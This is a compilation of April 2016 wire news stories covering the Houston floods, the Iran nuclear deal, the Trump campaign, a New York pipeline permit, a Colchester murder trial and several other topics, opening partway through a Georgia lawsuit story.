Ehrhart, an Atlanta-area Republican who chairs the Georgia House's higher education budget panel, has a stepson who is a student at the Georgia Institute of Technology.

He and his wife "have heard countless stories of young men being accused, investigated, and subsequently expelled from Georgia colleges and universities without being provided appropriate due process protections," the lawsuit says. They are particularly concerned about the fact that the accused student doesn't have the right to cross-examine the accuser.

They are concerned Virginia Ehrhardt's son and other male college students could be wrongly accused and punished under the letter's requirements, the lawsuit says. Therefore, they "are justifiably concerned that the money they have saved for college tuition and expenses could be lost and their son's reputation and career prospects irreparably damaged."

At a hearing this winter focused on sexual misconduct investigations at Georgia Tech, Ehrhart accused the school of violating students' due-process rights and warned university leaders that they needed to make changes or put requests for state funding at risk.
Damage estimates for Houston-area flooding on the rise

HOUSTON (AP)  Widespread flooding that's claimed eight lives and displaced thousands of people in the Houston area has caused more than $14 million in damage and inundated more than 1,700 homes  figures that authorities said Friday will increase significantly as floodwaters recede and inspectors get a closer look at ravaged neighborhoods.

Houston and nearby counties have been hit with more than a foot of rain since Sunday night, straining reservoirs and pushing rivers over their banks. Southwest of Houston, the Colorado River swelled to more than 48 feet, well past the flood stage of 39 feet, before slowly starting to recede.

In sprawling Harris County, which is anchored by Houston and its 2.2 million residents, emergency crews have determined damage in unincorporated areas from flooding has exceeded $14.4 million, which is the county's threshold for requesting federal disaster relief.

Cattle egrets roost in a tree at Lake Daniel Wednesday April 20, 2016. The lake is south of Breckenridge and supplies water to the city. (Ronald W. Erdrich/The Abilene Reporter-News via AP) MANDATORY CREDIT

The figure does not include a damage estimate for the city. A message left with the city of Houston's emergency management office was not immediately returned Friday.

"That number is just going to grow on a daily basis," said Francisco Sanchez, spokesman for the county's office of homeland security and emergency management.

The region was walloped over Memorial Day weekend last year when more than a foot of rain fell, causing many of the same problems seen this week. Sanchez said he spoke with one family that had just completed repairs on their home from last year's flooding, only to see it damaged again.

"We've still not resolved funding and relief efforts from Memorial Day," he said.

Authorities are working to mitigate the impact of future floods, he said, but the Houston area is beset by a number of factors that contribute to flooding: soil heavy in clay that doesn't absorb water; hundreds of watersheds, creeks and bayous; and its location at the tail end of riverways that make Houston a repository for runoff that's traveled hundreds of miles.

"Not only are we dealing with 12 inches of rain in eight hours but we're dealing with the rain north and west of us," Sanchez said.

Authorities, meanwhile, continue to monitor the Addicks Reservoir, one of two aging reservoirs in west Houston that the U.S. Army Corps of Engineers considered "extremely high risk." The reservoirs are about two decades beyond their life expectancy.

The Harris County Flood Control District said the streets near the Addicks may be impassable over the next few days and reservoir water levels may remain high for days or weeks.

"It's ruined; all this is ruined. We can't even wash clothes," Brant Grimes, a nearby resident whose home flooded, told KHOU-TV. "There's my wedding tape right there, I don't have another copy of it."

Paula Favors, spokeswoman for the city of Wharton, a community of some 8,700 residents along the Colorado River about 50 miles southwest of Houston, said an evacuation order remained in place Friday for some low-lying neighborhoods. About 350 homes on the city's west side were evacuated along the rain-swollen Colorado.

While the river dropped to 47 feet on Friday, officials continued to monitor the Colorado and homes around it to see if there is any danger to residents, Favors said.

Some homes have been flooded, but officials are still trying to tally the total, she said.

For those who evacuated, a shelter was set up at the city's junior high school. About 74 people stayed in the shelter Thursday evening and the facility was expected to remain open for now.

Residents in the evacuated area have had to deal with flooding in the past, most recently last May, when heavy rains swelled the river and forced evacuations.

"People who live in that area ... they are very well accustomed to the flooding," Favors said.

In the last few years, the city has been working to address the problem by developing a project with the Army Corps of Engineers to build a levee and flood gates near the city's west side. The project is still in the planning stages.

"We have to go through red tape to be able to move forward," Favors said.

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Warren reported from Dallas.

The U.S. 180 bridge crossing Hubbard Creek Reservoir west of Breckenridge Wednesday April 20, 2016. The lake is 57-percent full, a year ago it was at 12 percent. (Ronald W. Erdrich/The Abilene Reporter-News via AP) MANDATORY CREDIT
Kerry: US won't block foreign business deals under nuke deal

NEW YORK (AP)  The Obama administration moved Friday to try to address Iranian complaints that U.S. financial regulations are denying Iran the sanctions relief it deserves under last year's landmark nuclear deal.

Meeting with Iran's foreign minister, Secretary of State John Kerry said the United States would not stand in the way of foreign banks or firms doing business with Iranian companies that are no longer subject to U.S. sanctions.

Kerry also said the administration was willing to further clarify what transactions are now permitted with Iran and urged foreign financial institutions to seek answers from U.S. officials if they have questions. They should not assume, he said, that was once prohibited is still prohibited. Nor, he added, should they assume that transactions with Iran that remain illegal for U.S. companies are illegal for foreign firms.

U.S. Secretary of State John Kerry speaks to the media as he meets with Iranian Foreign Minister Mohammad Javad Zarif Friday, April 22, 2016, in New York. (AP Photo/Frank Franklin II)

Kerry's remarks, which came at the start of his second meeting this week with Iranian Foreign Minister Mohammad Javad Zarif, were an attempt to resolve confusion about what is permitted under the nuclear deal in which Iran agreed to curb its atomic program in exchange for billions in sanctions relief. Iran, as well as foreign banks and governments, have been clamoring for clarity, but it was not clear that Kerry's remarks would provide it.

"The United States is not standing in the way and will not stand in the way of business that is permitted with Iran since the (nuclear deal) took effect," Kerry said, reading carefully from a prepared text. "We've lifted our nuclear-related sanctions as we committed to do and there are now opportunities for foreign banks to do business with Iran. Unfortunately, there seems to be some confusion among foreign banks and we want to try to clarify that as much as we can."

The areas needing clarification, he said, include access to funds and financing for foreign firms to do business with Iran along with Iran's access to its own money, which had been frozen abroad under the nuclear sanctions. Access to all of these is permitted, Kerry said.

"We have no objection (to) foreign banks engaging with Iranian banks and companies, obviously as long as those banks and companies are not on our sanctions list for non-nuclear reasons," he said.

Kerry, however, stressed that the confusion and remaining U.S. sanctions on Iran  imposed for its ballistic missile tests, human rights abuses and support for terrorism  are not the only reasons for foreign reluctance to do business with Iran. He cited the fragility and questionable integrity of Iran's banking system as well as other behavior that gives business executives pause about jumping into the Iranian market.

Some U.S. officials believe some foreign companies have their own concerns about deals with Iran and are using the sanctions confusion as an excuse to avoid them. However, foreign firms have also raised legitimate fears about possible punishment from U.S. regulators, primarily if the 2016 presidential election produces an administration that rips up the nuclear deal, as both leading Republican candidates have vowed to do.

Zarif  who, with other senior Iranian officials, has complained that they are getting short-changed on the sanctions relief they deserve  expressed hope that Kerry's comments would unblock the flow of cash and trade that Iran is entitled to under the nuclear accord.

"We hope that with this statement by Secretary Kerry (that) now we will see serious implementation of all JCPOA benefits that Iran should derive from this agreement," he said, referring to the nuclear deal  the Joint Comprehensive Plan of Action  by its formal acronym.

"We hope that the statement made today by Secretary Kerry will begin to open the difficult path that had been closed because of concerns that banks had about the U.S. approach toward implementation of the commitments under the JCPOA."

The Kerry-Zarif meeting capped a long day of developments on the Iran nuclear deal, which began with a U.S. announcement that it would buy 32 metric tons of Iranian heavy water, a key component for one kind of nuclear reactor, to help Iran meet the terms of the agreement.

A sales agreement between the Energy Department and a subsidiary of the Atomic Energy Organization of Iran, under which the Energy Department's Isotope Program purchased the heavy water for $8.6 million, was signed in Vienna on Friday, officials said. The heavy water will be stored at the Oak Ridge National Laboratory in Tennessee and then resold on the commercial market for research purposes.

Heavy water, formed with a hydrogen isotope, is not radioactive but has research and medical applications and can be used to produce weapons-grade plutonium. Under the nuclear deal, Iran is allowed to use heavy water in its modified Arak nuclear reactor, but must sell any excess supply of both heavy water and enriched uranium on the international market.

Although Iranian news agencies reported in early March that a deal would soon be finalized, members of Congress criticized the deal as another example of the Obama administration giving Iran more that it is entitled to.

The Energy Department said the heavy water purchase does not go beyond the scope of the nuclear agreement, and stressed that future purchases were not automatic.

"The United States will not be Iran's customer forever," it said in a statement. "It is exclusively Iran's responsibility to find a way to meet its (nuclear deal) commitments, whether that is by selling, diluting or disposing of future stocks of heavy water to remain within the (deal's) limit."

That did not sway congressional Republicans.

"Once again, the Obama administration is handing Iran's radical regime more cash," said Rep. Ed Royce, R-Calif., the chairman of the House Foreign Affairs Committee. "U.S. purchase of this sensitive material goes well beyond what is required by the nuclear agreement. Far from curbing its nuclear program, this encourages Iran to produce more heavy water to sell  with a stamp of U.S. approval  on the international market."

U.S. Secretary of State John Kerry, left, speaks to the media as he meets with Iranian Foreign Minister Mohammad Javad Zarif, right, Friday, April 22, 2016, in New York. (AP Photo/Frank Franklin II)
A 'presidential' Trump 2.0? Not so fast

HARRISBURG, Pa. (AP)  Standing in a conference room at a swanky South Florida hotel, Donald Trump's chief adviser assured Republican insiders his boss was ready to tone down his over-the-top persona.

He's been "projecting an image," Paul Manafort told the GOP officials. "The part that he's been playing is now evolving."

But two hours later, Trump was telling the crowd at a rambunctious rally in Pennsylvania that he wasn't ready to change.

Supporters of Republican presidential candidate Donald Trump line up prior to a rally, Friday, April 22, 2016, at the Delaware State Fairgrounds in Harrington, Del. (AP Photo/Julio Cortez)

"I just don't know if I want to do it yet," Trump said Thursday as supporters roared with approval. Ever the entertainer, he said that acting more presidential would leave his audiences "bored," and that instead of drawing thousands, "I'll have 150 people."

The comments by Trump and new aide Manafort underscore a central tension surging through the Republican front-runner's campaign. Even as he builds a more professional operation, the billionaire businessman appears  at least for now  unable or unwilling to dial back the free-wheeling brashness that has both energized his millions of supporters and turned off millions of other Americans.

There have been previous promises that a more "presidential" Trump was about to emerge, as well as descriptions from supporters who insist there's a charming, down-to-earth side of the real estate mogul that surfaces in private. Trump has shown flashes of what the "other Trump" might look like, but quickly reverted to his familiar campaign self.

The latest talk from Manafort comes at a crucial moment in Trump's campaign, as he seeks to unite the Republican Party behind his candidacy and hold off efforts to potentially snatch the nomination away if the race goes to a contested national convention. Many in the party fear Trump is viewed so unfavorably by a wide swath of Americans that he would not only keep Republicans out of the White House but also damage GOP candidates running for other offices and perhaps even cause irreparable damage to the party.

South Carolina GOP chairman Matt Moore attended Manafort's presentation in Florida, and emerged confident that Trump was prepared to make necessary changes.

"He has an opportunity to reinvent himself as a more presidential front-runner for the party. And I hope he does that," Moore said.

But Trump's critics, including rival Ted Cruz, tried to use Manafort's assertion that he has simply been "playing a part" as an opportunity to undercut the front-runner's core strength: that he's authentic to a fault and says what he believes, regardless of the political repercussions.

Speaking to reporters after an event in Williamsport, Pennsylvania, Friday, Cruz said Trump's advisers had "gone down and told Republican Party bosses that everything Donald has said on the campaign is just a show, he doesn't believe any of it."

If there's an abrupt change, some supporters might feel the same way.

"If he suddenly changed, it would be really disappointing," said Irene Mallabar, 67, a retired antique dealer from Milford, Delaware. "That's not who he is," she said at a Trump rally at the State Fairgrounds in Harrington. "It wouldn't feel real. Or maybe we wouldn't know what was real."

Cruz trails Trump in the delegate count, but is banking on being able to keep the front-runner from reaching the 1,237 delegates he needs to secure the nomination. That would push the GOP race toward a contested convention.

Trump wants to avoid a complicated floor fight, and top aides are promising a more traditional campaign  and candidate  to try to persuade party leaders to stick with him even he's just shy of the delegates he needs.

Trump has hired a handful of more experienced advisers, including Manafort. The notoriously thrifty billionaire is also plunging $2 million into television advertising in Pennsylvania and Indiana, states that hold primary contests over the next two weeks. One traditional-looking spot features Trump talking directly into the camera about his policy proposals. The other appears aimed at softening his image, presenting him as a father and grandfather.

Next Wednesday, Trump will deliver a formal address on foreign affairs, the first in a long-promised series of a policy speeches meant to infuse his campaign with a degree of seriousness. But underscoring the push-and-pull between Trump and advisers who want him to assume a more presidential aura, it's taken months of cajoling to get that first speech on the books.

Even as recently as Tuesday, campaign manager Corey Lewandowski  whose responsibilities have been curtailed since Manafort's hiring  was questioning the necessity of policy speeches, saying that's not what voters care most about.

"I don't think the voters really have as much concern, but I know you guys are dying for one," he told reporters.

Darrell Scott, the CEO of Trump's new National Diversity Coalition, is among those says there's a gracious, humble private man beneath the brash exterior. That's "the Trump I've always known," Scott said.

"Trump has to make the transition from public figure to public servant," he added. "He's growing into this role."

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Michelle Obama to appear on May episode of CBS' 'NCIS'

WASHINGTON (AP)  Michelle Obama is making a cameo appearance in support of military families on an upcoming episode of the CBS hit drama "NCIS."

The network says the episode, airing May 3, features the first lady welcoming NCIS Special Agent Leroy Jethro Gibbs, played by Mark Harmon, and the wife of a Marine to the White House for a "Joining Forces" discussion with military spouses.

Joining Forces is the nationwide initiative that Mrs. Obama and Vice President Joe Biden's wife, Jill, launched in 2011 to support service members, veterans and their families.
New York denies critical permit for natural gas pipeline

ALBANY, N.Y. (AP)  New York environmental regulators have rejected a critical permit needed for a major natural gas pipeline project, saying the project fails to meet standards that protect hundreds of streams, wetlands and other water resources in its path.

The Department of Environmental Conservation said Friday it won't issue a water quality permit for the 124-mile Constitution Pipeline from Pennsylvania's shale gas fields to eastern New York. The agency said the project's construction would affect 251 streams and 500 acres of valuable forest as well as extensive wetlands.

The Federal Energy Regulatory Commission approved the pipeline project in 2014 contingent on the state permit, which is required by the federal Clean Water Act. The project had all needed permits for a segment in Pennsylvania and had already cleared trees there in preparation for construction.

Constitution Pipeline Company, a partnership formed by Cabot Oil & Gas, Williams Partners and Piedmont Natural Gas Company, can appeal the state decision to the U.S. Circuit Court of Appeals.

"We are very disappointed by today's decision," Constitution spokesman Christopher Stockton said. "We remain absolutely committed to building this important energy infrastructure project."

Stockton said the partners will decide whether to appeal after they finish analyzing the state's rationale for the denial.

The decision comes two days after Kinder Morgan Inc. announced it was mothballing its planned Northeast Energy Direct pipeline, which would have followed some of the same route as Constitution. Kinder Morgan, which was earlier in the FERC process, cited economic reasons for its decision.

After Gov. Andrew Cuomo banned hydraulic fracturing for shale gas in 2014, environmentalists turned their efforts to defeating pipelines and other energy infrastructure projects. They and community groups pressed Cuomo to decline the state permit for the Constitution Pipeline.

"Cuomo's leadership could inspire a domino effect of related pipeline rejections as other states begin to put the protection of water and our climate before flawed energy projects that do not serve the public interest," said Roger Downs of the Sierra Club's Atlantic Chapter.

But some local officials, labor groups and business interests argue the pipeline is essential since New York has been increasing its natural gas consumption.

"We are incredibly disappointed that the administration allowed fear-mongering to once again lead the way," said Heather Briccetti, president of The Business Council of New York State. She said the decision "will have a direct and immediate negative impact on our state's economy."
Arizona triple homicide victims were from Washington state

PHOENIX (AP)  Three homicide victims found dead in trailers on a desert property in western Arizona were identified Friday as Washington state residents, including a married couple about to return home.

The victims included 83-year-old Lester Lindsay and 76-year-old Ella Lindsay, a married couple from Wenatchee, the La Paz County Sheriff's Office said Friday. The third victim was identified as 81-year-old Alice Boyd of Bingen.

Jim Harris, a son-in-law of the Lindsays who lives in Snohomish, Washington, said the couple was due back in the area in a week. The family, which includes six children and numerous grandchildren, usually gathers around Mother's Day. Harris declined to comment further.

This undated photo provided by the Maricopa County Sheriffs Office shows Kitage Lynch. A sheriff's official said Thursday, April 21, 2016, that a man and two women were the victims of a triple homicide discovered in residences on desert property used by Phoenix-area residents for weekend getaways. Lynch was booked on suspicion of aggravated assault with a deadly weapon and discharging a firearm in city limits. (Maricopa County Sheriffs Office via AP)

A woman who said she was a daughter-in-law of Boyd declined to comment when reached by The Associated Press. The woman didn't give her name during a brief phone call.

A sheriff's deputy investigating burglaries found the dead victims late Sunday in two residences on a desert property that a sheriff's spokesman has described as a getaway spot.

No arrest has been made in the killings, but authorities have called a Phoenix man arrested in a shooting incident early Wednesday morning in a Phoenix suburb an investigative lead in the La Paz County case.

Police say the man, 24-year-old Kitage Lynch, had a car belonging to one of the victims and a gun stolen from the La Paz County location when he was arrested after allegedly shooting at two Glendale police officers investigating a report of a man firing a gun in a field. Neither officer was injured.

Court records don't list a defense attorney who could comment on the allegations against Lynch, who is jailed on suspicion of aggravated assault with a deadly weapon and discharge of a firearm in city limits.

Investigators hadn't found any link between Lynch and the La Paz County property or anybody else associated with the property, said Sheriff's Lt. Curt Bagby, spokesman for the La Paz County Sheriff's Office. "We think it was absolutely 100 percent random," he said.

While the three victims were from out of state, other people known to stay on the property are from the Phoenix area and use it for weekend escapes, Bagby said.

Investigators don't yet have results of checks of fingerprints found at the scene, where there were indications of struggles, he said.

Investigators haven't found anything indicating there was more than one killer, Bagby also said.
UK set to sign Paris Agreement climate deal in New York

The UK is among more than 160 countries set to sign up to the world's first comprehensive deal to tackle climate change at a ceremony in New York.

But environmental campaigners in the UK are criticising the Government for continuing to back fossil fuel extraction at home despite supporting the international climate deal to drive down greenhouse gases.

The Paris Agreement to curb rising temperatures and avoid "dangerous" climate change was secured at United Nations talks in the French capital in December.

Dozens of countries, including the UK, are to sign a major climate change agreement at the UN

An official ceremony at the UN in New York will see more than 160 countries and the European Union sign up to the deal on Friday, the first day it is open for signing - Earth Day.

A handful of countries will also ratify the agreement, and there is a push for nations to follow suit as soon as possible so the deal can enter into force quickly.

At least 55 countries covering 55% of the world's emissions need to ratify the deal for it to come into force.

While Energy Minister Lord Bourne is attending the ceremony to sign the agreement for the UK, the Government faces criticism at home for continuing to allow mining for coal, the dirtiest fossil fuel.

Friends of the Earth is send a tonne of coal to the Government , with each lump representing one of almost 10,000 signatories to a petition calling for a change to planning rules to stop new opencast coal mines.

Curbing global climate emissions to prevent dangerous temperature rises will require leaving most of the world's fossil fuels in the ground, they say.

Friends of the Earth climate campaigner Guy Shrubsole said: "To meet the Paris Agreement, the Government must leave fossil fuels, like coal, in the ground - yet we're still permitting vast new opencast coal mines to be dug up next door to communities and beauty spots across the UK."

He urged ministers to leave coal in the ground.

The Paris Agreement sets a target to keep temperature rises "well below" 2C and commits to strive to curb increases to 1.5C, as well as a five-year review system to increase ambition on cutting emissions to meet the temperature goals.

As the deal spells out the need for greenhouse gases to peak as soon as possible, and sets aims for the second half of the century that effectively mean the world will have to reach net zero emissions, it has been seen as signalling the end of the fossil fuel era.

But concerns have been raised over the UK Government's moves to cut subsidies for renewables, low carbon technology and energy efficient homes while supporting fracking and extraction of North Sea oil and gas.

Energy and Climate Change Secretary Amber Rudd said the UK was one of the first developed countries to commit to taking coal power out of the energy mix, a move she announced before the UN talks in December, with an end date of 2025.

As campaigning for the EU referendum intensifies, Ms Rudd said the accord secured in Paris showed how the UK was stronger within Europe, allowing the UK to play a leading role as part of the bloc in tackling global challenges.

"The global deal reached in Paris was a significant milestone in tackling climate change, helping to safeguard our long-term economic security and giving clear direction to businesses as we transition to a low-carbon economy.

"As part of the EU, the UK played a key role in securing this deal, ensuring it was in the interest of British families and businesses by levelling the playing field between us and the rest of the world and making sure that every country makes its fair share of effort to combat climate change," she said.

Greenpeace UK executive director John Sauven said: " The world leaders in New York today will be judged not on the brilliance of their rhetoric but on the boldness of their actions.
Daimler shares drop almost 7% over emissions testing probe

Shares in German carmaker Daimler, the owner of Mercedes-Benz, dropped by nearly 7% in morning trading after it revealed it is conducting an internal investigation into its emissions testing process at the request of the US Department of Justice (DoJ).

A Daimler spokesman said that the DoJ contacted the firm last week after a class-action lawsuit was filed, claiming its cars are programmed in a way that lets them emit illegal levels of emissions, similar to diesels made by fellow German carmaker Volkswagen.

Daimler said the lawsuit's claims are without merit and that the DoJ investigation is unrelated.

The German carmaker has said the lawsuit's claims are without merit

Shares in Peugeot and Volkswagen followed suit and fell sharply. Peugeot was down 3% while Volkswagen fell by almost 4%.

Jasper Lawler at CMC Markets said: "Investors in the auto sector are understandably perturbed."

Joe Rundle, head of trading at ETX Capital, said: "As anticipated, the wrongdoing looks like it goes well beyond VW.

"Daimler is the next in the firing line as it opens an investigation at the request of the DoJ - the fall in its share price today reflects investors' nervousness about a problem that could easily escalate, even if the company says the class actions against it are baseless."

Daimler also said that net profit fell 32% in the first quarter after costs related to the launch of its new E-Class weighed on the bottom line. Net profit fell to 1.4 billion euro (1.1 billion) from 2.05 billion euro (1.6 billion) in the same period last year.
Universities may break ties with National Union of Students over new president

Britain's leading universities are on the verge of breaking ties with the National Union of Students (NUS) after it elected a left-wing president who refused to condemn the Islamic State group.

Students at Oxford and Cambridge universities declared on Thursday that they would be holding referenda to determine whether they should remain associates of the NUS.

The announcements were made after Malia Bouattia, 28, was made the first black Muslim president of the national body.

Malia Bouattia has been elected as the new NUS president (NUS/PA)

Ms Bouattia has courted controversy in the past for attacking "Zionist-led media outlets" and suggesting that non-peaceful "resistance" is the most suitable solution to the Palestinian conflict with Israel.

In 2011, while she was still studying at the University of Birmingham, Ms Bouattia co-authored an article in which she said that the university was "a Zionist outpost in British higher education".

More recently, during her role as the NUS black students' officer, Ms Bouattia voted down a motion to condemn Islamic State, on the grounds that doing so would be "blatant Islamophobia".

News of the president-elect's previous comments caused widespread outrage on university campuses, prompting 57 Jewish student leaders to pen an open letter to her, demanding that she clarify her position towards them.

In her response Ms Bouattia claimed that she had been "misrepresented", adding that she was anti-Zionist but not anti-Semitic.

Following her election at the NUS national conference in Brighton on Wednesday, members of the audience also applauded student delegates for suggesting that Holocaust Memorial Day should be shunned because it is not "inclusive".

Although only in its infancy, the campaign to disaffiliate from the NUS has gained support from students studying at the universities of Durham, York, Westminster, Birmingham, Edinburgh, the London School of Economics and King's College London.

Since Ms Bouattia's election on Wednesday, several student groups have launched social media campaigns on Facebook, encouraging their universities to cancel their NUS membership.

In an online poll conducted by the Young Liberal Society, a group made up of more than 250 students from leading universities, a motion calling for "no confidence and disaffiliation" from the NUS gained unanimous support.

The potential fallout from Ms Bouattia's election could deal a serious financial blow to the NUS, which represents the majority of the 2.3 million students studying in Britain.

Student unions at large universities typically pay an annual fee of between 50,000 and 52,000, which the NUS charges to provide support and training.

Writing in the Jewish Chronicle on Wednesday, Maajid Nawaz, co-founder of the anti-extremism think-tank the Quilliam Foundation, wrote: "The Union of Jewish Students is naturally alarmed at her new role as President of the NUS. So should we all be.

"It was Malia Bouattia who led the charge at the NUS to block a motion that sought to condemn Isis and show solidarity to the Kurds fighting them, because it was deemed 'Islamophobic'.

"At this same meeting the NUS did pass a motion to boycott Ukip... Thus, in a sign of the terrible times in which we live, Britain's student leadership found it easier to condemn Ukip than Isis.

"And we wonder why the populist right is on the rise?"

Commenting on the campaign to leave the NUS, Megan Dunn, the incumbent president, said: "To anybody here or back on campus that is whispering of disaffiliation from NUS because of this conference - know this: We are stronger when we work together.

"And when students' unions are under attack we are better off united than we are standing on our own, believing we can defend ourselves by standing apart.

"So don't walk away. Get organised, stand up for your beliefs. Fight for what you believe in. Because when you do, win or lose, we are stronger together."
Jores Okore facing disciplinary action as Eric Black says he is refusing to play

Jores Okore is facing disciplinary action as caretaker manager Eric Black claims the defender is refusing to play for Aston Villa.

Last weekend the rudderless side's relegation was rubber-stamped, with a 1-0 defeat at Manchester United confirming their 28-year stay in the top flight was coming to an end.

Indiscipline, poor signings and bad appointments have resulted in shocking displays on the field, the blame for which owner Randy Lerner claimed on Friday "lies at my feet and no one else's".

Jores Okore has made 14 appearances for Aston Villa this season

Caretaker manager Black had not seen the divisive owner's "note to supporters" so was not keen to talk about it, although he was more forthcoming when it came to the playing staff.

Many players have let the club down this season but Black's comments about Okore's behaviour were shocking, claiming the defender has refused to play for the club.

"He didn't want to be considered to go on the bench (against Bournemouth)," he said. "That was his initial reaction.

"Then he reflected on it over the weekend and then said he didn't want to be considered if he wasn't going to be involved.

"I gave him the weekend to reflect on it then got him in again with my assistant, then we asked his opinion again on where he stood on it and whether he has reflected on what he'd said. And he carried on with his stance."

Okore's fate is yet to be decided but disciplinary action is understandably being considered by Villa, whose season lurches from one crisis to another.

Joleon Lescott last weekend irked supporters by clumsily saying relegation was a "weight off the shoulders" and things have not been any better off the field, with the news of imminent job cuts followed by directors David Bernstein and Mervyn King quitting the club.

Then there is the small matter of former hero Gabriel Agbonlahor being suspended, with the club launching their second investigation into the off-field actions of a striker who has managed just one goal this term.

It is one of several disciplinary quandaries Villa have had to deal with over the course of a miserable campaign, which Black is trying to end with an iota of honour.

The caretaker boss would "dearly love" to win a match sooner rather than later, with his attempts to end a nine-match losing streak when Southampton visit on Saturday coming with a background of fan protests.

"For successful teams to work and to be successful you need certain parameters," Black said.

"And a relegation and the season we've had, the uncertainty over whether players will be here or not, the uncertainty of the ownership all have an effect on players, whether we like it or not because they get all of this information fed to them all the time.

"It is my job to try to put it into a certain context for them and get them to try to perform.

"That is my soul reason, my raison d'etre, if you like, to try to get a competitive, cohesive unit out there on a Saturday to play against a lot of good teams.

"It hasn't been straightforward because there have been an awful lot of elements to take into consideration before I pick or team or we do some type of training.

"I can control some of those things and I'm happy to try to control them."

Black has not picked up the phone to Sir Alex Ferguson, his former boss at Aberdeen, in search of assistance, nor has his spell in temporary charge made him want the Villa managerial post full-time.

The first-team coach, who arrived to work with former manager Remi Garde in late January, joked he needs a holiday rather than the job, but believes the club remains an attractive proposition to prospective managers.

"It's a fantastic football club," Black added. "From the exterior I thought it was a fantastic football club and now having worked at it I know it's a fantastic football club.

"It's been wounded badly at the moment and it needs to come back.

"It's a big step to come back and I'm sure no-one is under any illusions that it will just spring back into the Premier League without a lot of hardship and diligent work.
Boy obsessed with serial killers found guilty of Colchester stabbing murders

A teenager who was obsessed with killers including the Yorkshire Ripper has been found guilty of murdering two strangers in frenzied attacks.

James Fairweather was just 15 years old when he knifed James Attfield and Nahid Almanea to death in two horrific attacks in Colchester, Essex, which terrified the local community.

He was branded "a monster" by Julie Finch, the heartbroken mother of Mr Attfield, who was stabbed 102 times as he lay drunk and helpless in a park in March 2014.

James Fairweather has been convicted of murdering two strangers in frenzied attacks (Essex Police/PA)

Three months later Fairweather, who idolised the Yorkshire Ripper and counted US serial killer Ted Bundy as his favourite killer, struck again.

He knifed Saudi student Ms Almanea, 31, with a bayonet and stabbed her in both eyes as she walked along a nature trail in the town on June 17 2014.

He admitted manslaughter on the grounds of diminished responsibility, claiming he believed he was possessed by the devil and heard voices that compelled him to kill.

The jurors took eight hours and 33 minutes to unanimously find Fairweather, now aged 17, guilty of the murders.

It came after they heard an expert say his description of the hallucinations sounded like something plucked from a horror film.

Ms Finch was too upset to speak as she stood on the steps of Guildford Crown Court beside an Essex police officer, who read a statement on her behalf.

The statement said: "On March 29 2014 our lives were changed forever when my kind and brave son Jim was brutally killed.

"He had been through so much already, having fought hard to overcome the effects of brain damage suffered when he was struck by a car. He did not deserve to die.

"James Fairweather is a monster in our eyes - and we will never be able to forgive him."

Friends and staff at the University of Essex where Ms Almanea was studying remembered her as "a bright, talented and conscientious member of our university community".

University registrar Bryn Morris described her as "a considerate and well-respected student" adding that she would be honoured with a special scholarship for overseas students studying science or health-related subjects at postgraduate level.

It will be called the Almanea Scholarship for Science.

Fairweather, who can now be named after a reporting ban was lifted, gave no reaction as the jury of five men and seven women delivered the verdicts.

His mother, who attended every day of the murder trial, wept.

Mr Justice Robin Spencer QC warned Fairweather he faced a lengthy prison sentence, adding that the starting point for two murders for someone under 18 is 12 years.

He will be sentenced at the Old Bailey on Friday April 29.

Fairweather was hunting for his third victim when he was caught by police.

The hunt to find the murderer was "one of the biggest investigations" carried out by Essex Police, according to Assistant Chief Constable Steve Worron.

After the verdict, he said: "Fairweather admitted killing James and Nahid but denied their murder was calculated and pre-planned.

"He then forced their families to endure the pain and grief of a trial rather than admitting that he had murdered them.

"Today's verdict will never heal the pain of losing their loved ones in such horrific circumstances.

"Hopefully they now have some answers and can be reassured that their killer will face a long time behind bars."

Paul Scothern, of the Crown Prosecution Service, said: "This was a shocking case, particularly because of the young age of the defendant at the time and because the brutal attacks he carried out were entirely random."

Mr Scothern said Fairweather had "absolutely no reason" to attack them, adding: "Our evidence was that he was in control at the time, he knew what he was doing, he prepared for the killings by arming himself with a knife and gloves, and he took steps afterwards to conceal what he had done."

Fairweather was "turned on" by serial killers and researched Ian Huntley, Myra Hindley and Yorkshire Ripper Peter Sutcliffe, who he had a picture of on his phone.

Ted Bundy, who was his favourite serial killer, sexually assaulted, murdered and decapitated his victims.

Fairweather wanted to emulate the serial killers he idolised and fantasised about killing his headteacher and parents, the court heard.

He had played violent computer games Call Of Duty and Grand Theft Auto since he was 13 years old.

And he had a stash of horror films including Wrong Turn: The Carnage Collection, a DVD about Sutcliffe and a book called The World's Worst Crimes.

After he killed, he obsessively looked up press coverage of the murders on the internet.

He spent his days thinking about "killing, raping and watching pornography", the court heard.

The murders sparked a massive police hunt in Colchester, and the teenager did not attack again for another year.

He was arrested on May 26 last year while wearing gloves, armed with a lock knife and on the prowl for his third victim by the Salary Brook nature trail where he had already killed.

Fairweather, who has been diagnosed with autism, admitted the killings.

In police interviews he told detectives he heard voices, adding: "They said we need another sacrifice and I was going to get my third victim but there was no-one about."

His defence lawyers argued he had full-blown psychosis and did not fully understand what he was doing.

But this was dismissed by prosecutor Philip Bennetts QC, who said the youth "understood his conduct at the time" and "was able to form a reasonable judgment".

He said the teenager had made preparations for killing and "took steps to conceal afterwards" by throwing the murder weapon into a fast-flowing river.

The court heard Fairweather lied about hearing voices and having hallucinations to try to get off the murder charges.

Psychiatrist Dr Philip Joseph said the teenager's description of hallucinations were "cliched" and "unconvincing".
George Clooney to present one million dollar humanitarian prize

George Clooney is to present a one million US dollar (700,000) prize at a ceremony celebrating individuals who risk their lives for others.

The Oscar-award winning actor will hand out the award on Sunday at a humanitarian conference held to recognise those who put themselves at risk to save the lives of others.

Nominees include an American doctor whose hospital serving 500,000 people in war-torn Sudan is consistently bombed, and a Burundi woman who has saved the lives of almost 30,000 children.

Hollywood star George Clooney will present a one million US dollar prize celebrating individuals who risk their lives for others

Clooney has long taken an interest in humanitarian issues and co-founded the international relief charity Not On Our Watch with fellow Hollywood stars Matt Damon and Brad Pitt.

He will attend the inaugural Aurora Prize event in Yerevan, Armenia this weekend where humanitarian organisations are also gathering to discuss the global refugee crisis.

The prize, which will become an annual event, will be awarded to one of four individuals and includes a 100,000 dollar (70,000) grant as well as the opportunity to nominate an organisation - that has inspired the winner - for a one million dollar award.

Among the four nominees for the award is Marguerite Barankitse, a Burundian woman who saved the lives of 30,000 children during the country's civil war.

Another is American doctor Tom Catena who is the only permanent surgeon working in rural Sudan - based in the country's conflicted border area with South Sudan.

Also nominated is Syeda Ghulam Fatima, a Pakistani activist who survived attempts on her life during her campaign to liberate bonded labourers, and Father Bernard Kinvi, a Togolese priest providing refuge to both sides of a civil war in the Central African Republic.

